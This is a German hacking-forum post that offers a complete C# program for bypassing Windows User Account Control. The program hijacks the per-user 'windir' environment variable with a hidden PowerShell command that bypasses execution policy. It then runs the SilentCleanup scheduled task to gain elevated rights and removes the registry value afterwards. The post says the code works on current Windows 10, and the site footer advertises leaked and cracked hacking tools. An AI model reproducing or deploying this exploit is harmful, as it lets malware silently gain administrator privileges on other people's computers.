Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

[C#] UAC Bypass

- - - - -

  • Please log in to reply
No replies to this topic

#1
IRET

IRET

    Lamer

  • Members
  • PipPipPip
  • Likes
    74
  • 20 posts
  • 8 Bedankt

Sollte mit den meisten Windows Systemen funktionieren. Getestet unter aktuellstem Windows 10.

Powershell sollte nicht ganz deaktiviert sein (Bypasses sind natürlich mit drinnen).

Useraccount muss Adminrechte haben. Es umgeht nur den UAC-Dialog.

using System;
using System.Security.Principal;
using Microsoft.Win32;
using System.Diagnostics;
using System.Threading;

 
namespace UAC_Bypass
{
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main()
        {
            bool isElevated = false;
            using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
            }
 
            if (isElevated)
            {
                System.IO.File.WriteAllText("C:\\windows\\test.txt", "xyz");
            }
            else
            {
                // UAC bypass
                using (RegistryKey key = Registry.CurrentUser.OpenSubKey("Environment", true))
                {
                    key.SetValue("windir", "powershell -ep bypass -w h -Command \"& " + System.Reflection.Assembly.GetEntryAssembly().Location + "\";#", RegistryValueKind.ExpandString);
                    Process.Start("schtasks", "/run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I");
                    Thread.Sleep(5000);
                }

                using (RegistryKey key = Registry.CurrentUser.OpenSubKey("Environment", true))
                {
                    key.DeleteValue("windir");
                }
            }
        }
    }
}

Edited by IRET, 24 January 2020 - 10:37 Uhr.

  • Ch!ller, Born2Hack, loken and 3 others like this



  Topic Forum Started By Stats Last Post Info

user(s) are reading this topic

members, guests, anonymous users


This topic has been visited by 4 user(s)


    kavanyandar, kiwitone, MarkusxX, Z3LuX
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.